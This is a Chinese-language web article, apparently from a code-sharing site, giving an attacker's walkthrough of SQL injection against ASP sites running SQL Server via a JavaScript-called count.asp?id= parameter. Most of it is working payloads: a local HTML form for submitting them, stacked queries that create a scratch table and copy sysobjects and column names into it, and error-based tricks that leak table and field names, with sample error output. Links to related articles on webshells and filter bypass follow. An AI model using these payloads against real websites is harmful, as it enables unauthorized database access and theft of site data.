当前位置: 代码网 > 服务器>网络安全>企业安全 > SQL脚本注入的不常见方法总结

SQL脚本注入的不常见方法总结

2008年10月08日 企业安全 我要评论
SQL脚本注入的不常见方法总结 大家在是否碰到过这样的站点: 全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。 我来说... 08-10-08
大家在是否碰到过这样的站点:
全站文章系统采用fso静态生成的html文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了sql注入式的攻击。。
我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个html页面。
攻击方法:
查看源文件/看里面是否有通过js来调用的页面。
如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552’
看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
<iframe name=p src=# width=800 height=350 frameborder=0></iframe>
<br>
<form action=http://test.com/count.asp target=p>
<input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--" style="width:750">
<input type=submit value=">>>">
<input type=hidden name=fno value="2, 3">
</form>
对于sqlserver的服务器可以这样判断:在1552后加一分号,如正常有可能是sqlserver
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将第一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
microsoft ole db provider for sql server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
……类推
(0)

相关文章:

  • MYSQL数据库注射精华

    MYSQL数据库注射精华

    MYSQL数据库注射精华 鄙人今天心血来潮突然想写篇文章,鄙人从来没写过文章,如果有错误的地方请多多指教. 本文需要有基础的SQL语句知识才可以更好的理解.建... [阅读全文]
  • 内网渗透——如何打开突破口

    内网渗透——如何打开突破口

    内网渗透——如何打开突破口 内网渗透的思想是源于特洛伊木马的思想---堡垒最容易从内部攻破,一个大型的网站,一个大型的公司,一个大型的目标,在外肉,管理员总会... [阅读全文]
  • 网站脚本注入检测如何绕过限制

    网站脚本注入检测如何绕过限制

    网站脚本注入检测如何绕过限制 突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’... [阅读全文]
  • 菜鸟拿WebShell的经验

    菜鸟拿WebShell的经验

    菜鸟拿WebShell的经验 通过几次成功的拿Webshell,发现自己有时也走了一些弯路,为了避免其他的朋友再在困惑中迷失方向,现在我将自己的一些经验写出来... [阅读全文]
  • UPDATE注射的两个基本模式

    UPDATE注射的两个基本模式

    UPDATE注射的两个基本模式 一.测试环境: OS: Windowsxp sp2 php: php 4.3.10 ( mysql 4.1.9 apache ... [阅读全文]
  • 黑客如何破坏杀毒软件

    黑客如何破坏杀毒软件

    黑客如何破坏杀毒软件 最近有调查报告显示,知名品牌的杀毒软件对新型计算机病毒的查杀率只有20%,而漏杀率却高达80%。那么是什么原因造成这种状况的?到底是如今... [阅读全文]

版权声明:本文内容由互联网用户贡献,该文观点仅代表作者本人。本站仅提供信息存储服务,不拥有所有权,不承担相关法律责任。 如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 2386932994@qq.com 举报,一经查实将立刻删除。

发表评论

验证码:
Copyright © 2017-2025  代码网 保留所有权利. 粤ICP备2024248653号
站长QQ:2386932994 | 联系邮箱:2386932994@qq.com